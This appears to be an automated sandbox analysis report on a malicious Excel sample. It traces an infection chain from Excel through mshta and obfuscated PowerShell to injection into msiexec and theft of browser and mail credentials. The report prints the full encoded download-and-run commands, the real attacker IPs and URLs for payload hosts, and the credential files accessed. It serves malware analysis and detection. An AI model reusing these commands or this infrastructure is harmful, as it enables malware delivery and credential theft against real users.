Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\wlanext.exe "C:\Users\user\AppData\Roaming\wlanext.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6549.tmp" "c:\Users\user\AppData\Local\Temp\muz5o0kx\CSCE919D41A8D904501847FAAE39BA08A1.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) " Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfzrysagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagieferc1uwvbficagicagicagicagicagicagicagicagicagicagic1nru1izxjeruzpbmluau9oicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1umxtt24urgxsiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbna1zra2xswixzdhjpbmcgicagicagicagicagicagicagicagicagicagicaga2hjccxzdhjpbmcgicagicagicagicagicagicagicagicagicagicaga1zqd3ztlhvpbnqgicagicagicagicagicagicagicagicagicagicagswl5cvnoleludfb0ciagicagicagicagicagicagicagicagicagicagicbktmopoycgicagicagicagicagicagicagicagicagicagicaglu5htwugicagicagicagicagicagicagicagicagicagicaginrkeklwbkpaqllriiagicagicagicagicagicagicagicagicagicagicatbmfnrxnqywnlicagicagicagicagicagicagicagicagicagicagifflevygicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakvmthojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumje0lzkwmi93ywxuzxh0lmv4zsisiirftny6qvbqrefuqvx3bgfuzxh0lmv4zsismcwwkttzdefsvc1ztgvfccgzkttzvgfsvcagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxhdsyw5lehquzxhlig=='+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfzrysagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagieferc1uwvbficagicagicagicagicagicagicagicagicagicagic1nru1izxjeruzpbmluau9oicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1umxtt24urgxsiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbna1zra2xswixzdhjpbmcgicagicagicagicagicagicagicagicagicagicaga2hjccxzdhjpbmcgicagicagicagicagicagicagicagicagicagicaga1zqd3ztlhvpbnqgicagicagicagicagicagicagicagicagicagicagswl5cvnoleludfb0ciagicagicagicagicagicagicagicagicagicagicbktmopoycgicagicagicagicagicagicagicagicagicagicaglu5htwugicagicagicagicagicagicagicagicagicagicaginrkeklwbkpaqllriiagicagicagicagicagicagicagicagicagicagicatbmfnrxnqywnlicagicagicagicagicagicagicagicagicagicagifflevygicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakvmthojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumje0lzkwmi93ywxuzxh0lmv4zsisiirftny6qvbqrefuqvx3bgfuzxh0lmv4zsismcwwkttzdefsvc1ztgvfccgzkttzvgfsvcagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxhdsyw5lehquzxhlig=='+[char]34+'))')))" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040320C
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000011.00000002.629304100.0000000022061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 2100, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543746 Sample: SecuriteInfo.com.Exploit.CV... Startdate: 28/10/2024 Architecture: WINDOWS Score: 100 79 Suricata IDS alerts for network traffic 2->79 81 Multi AV Scanner detection for submitted file 2->81 83 Yara detected HtmlPhish44 2->83 85 10 other signatures 2->85 10 EXCEL.EXE 31 25 2->10         started        process3 dnsIp4 61 107.175.113.214, 49164, 49166, 49167 AS-COLOCROSSINGUS United States 10->61 63 qrisni.me 188.114.96.3, 443, 49163, 49165 CLOUDFLARENETUS European Union 10->63 51 ~$SecuriteInfo.com...en.16537.13180.xlsx, data 10->51 dropped 53 niceworkingthingsw...withgoodnews[1].hta, HTML 10->53 dropped 99 Microsoft Office drops suspicious files 10->99 15 mshta.exe 10 10->15         started        file5 signatures6 process7 dnsIp8 65 qrisni.me 15->65 67 Suspicious powershell command line found 15->67 69 PowerShell case anomaly found 15->69 19 powershell.exe 23 15->19         started        signatures9 process10 file11 41 C:\Users\user\AppData\Roaming\wlanext.exe, PE32 19->41 dropped 43 C:\Users\user\AppData\...\walnext[1].exe, PE32 19->43 dropped 45 C:\Users\user\AppData\...\muz5o0kx.cmdline, Unicode 19->45 dropped 87 Powershell drops PE file 19->87 23 wlanext.exe 1 19 19->23         started        27 powershell.exe 4 19->27         started        29 csc.exe 2 19->29         started        signatures12 process13 file14 47 C:\Users\user\AppData\...47ahani132.Udf, ASCII 23->47 dropped 95 Suspicious powershell command line found 23->95 31 powershell.exe 4 23->31         started        97 Installs new ROOT certificates 27->97 49 C:\Users\user\AppData\Local\...\muz5o0kx.dll, PE32 29->49 dropped 35 cvtres.exe 29->35         started        signatures15 process16 file17 55 C:\Users\user\AppData\Roaming\...\wlanext.exe, PE32 31->55 dropped 71 Early bird code injection technique detected 31->71 73 Writes to foreign memory regions 31->73 75 Queues an APC in another process (thread injection) 31->75 77 Powershell drops PE file 31->77 37 msiexec.exe 11 31->37         started        signatures18 process19 dnsIp20 57 bookinginfo.asia 199.217.106.226, 443, 49168 AXCELX-NETUS United States 37->57 59 www.bookinginfo.asia 37->59 89 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 37->89 91 Tries to steal Mail credentials (via file / registry access) 37->91 93 Tries to harvest and steal browser information (history, passwords, etc) 37->93 signatures21
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.96.3
 qrisni.me European Union
13335 CLOUDFLARENETUS false
199.217.106.226
 bookinginfo.asia United States
33083 AXCELX-NETUS false
107.175.113.214
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
qrisni.me 188.114.96.3 true
bookinginfo.asia 199.217.106.226 true
www.bookinginfo.asia unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://qrisni.me/L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigo false
    		unknown
    http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta true
      		unknown
      http://107.175.113.214/902/walnext.exe true
        		unknown
        https://www.bookinginfo.asia/pkeZmGiUuTK20.bin false
          		unknown